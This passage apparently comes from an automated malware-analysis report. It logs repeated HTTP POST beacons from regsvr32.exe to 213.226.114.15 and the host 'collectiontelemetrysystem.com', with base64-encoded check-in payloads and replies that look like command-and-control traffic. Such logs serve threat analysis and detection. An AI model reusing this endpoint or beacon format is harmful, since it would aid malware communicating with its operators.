59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:18.906435013 CEST	10208	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:18 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49839	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:19.233536959 CEST	10209	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:19.462707996 CEST	10209	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:19 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49840	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:19.713514090 CEST	10212	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:19.928953886 CEST	10736	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:19 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49842	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:20.212490082 CEST	11990	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:20.419734955 CEST	11990	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:20 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49843	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:20.667067051 CEST	11992	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:20.888991117 CEST	11992	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:20 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49844	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:21.137307882 CEST	11993	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:21.352298975 CEST	11994	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:21 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49845	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:21.587750912 CEST	11995	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:21.811057091 CEST	11995	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:21 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49846	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:22.054250956 CEST	11996	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:22.295736074 CEST	11997	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:21 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49847	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:22.559092999 CEST	11998	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:22.780538082 CEST	11998	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:22 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49848	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:23.032104969 CEST	12000	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:23.267894030 CEST	12000	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:22 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49816	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:08.232341051 CEST	3964	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 587 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 51 30 56 72 49 6a 6f 69 4d 48 68 78 51 55 5a 4d 64 6b 52 79 52 56 4e 59 64 33 4e 50 64 7a 51 77 52 33 42 6e 62 45 55 31 51 30 51 79 4f 58 70 4f 56 30 64 69 54 30 31 4d 54 31 4e 52 4d 58 64 4c 53 6e 42 6c 59 79 74 4d 53 58 67 77 50 53 49 73 49 6a 4e 6d 5a 54 45 78 49 6a 6f 69 62 32 74 59 54 6c 46 42 50 54 30 69 4c 43 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 45 55 7a 4a 34 49 6a 6f 69 63 6b 56 45 56 55 30 33 4e 6d 59 69 4c 43 4a 46 54 47 6f 69 4f 69 49 7a 61 6c 63 32 55 57 56 4e 50 53 49 73 49 6b 56 76 4e 69 49 36 49 6a 4a 34 54 30 64 48 54 45 74 49 49 69 77 69 52 6e 52 76 49 6a 6f 69 63 6d 63 39 50 53 49 73 49 6b 78 76 63 79 49 36 57 79 49 76 51 58 6c 46 52 6e 41 79 51 6e 52 70 4e 33 64 34 59 31 64 7a 4e 6c 59 79 54 57 31 33 53 6b 46 56 56 54 4e 56 63 6d 39 50 52 45 6c 4a 56 6e 70 6b 51 54 6c 48 64 6e 56 4e 54 6b 6c 6e 50 54 30 69 58 53 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 52 4e 6c 67 32 49 6a 6f 69 4d 32 70 48 62 6b 39 76 54 32 74 79 61 30 4e 42 63 30 70 78 56 33 4e 57 4e 30 30 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 5a 6a 46 6b 59 53 49 36 49 6e 68 70 61 58 64 4f 53 56 4e 6e 63 57 6c 4d 62 6e 4a 4b 64 6e 70 7a 52 44 4e 4c 4b 30 56 72 50 53 49 73 49 6e 52 58 49 6a 6f 69 62 32 73 7a 54 6c 4a 50 54 46 6f 69 4c 43 4a 33 55 44 59 69 4f 69 49 33 52 56 68 68 55 6d 5a 75 59 69 49 73 49 6e 70 72 51 7a 63 69 4f 69 49 69 66 51 3d 3d Data Ascii: 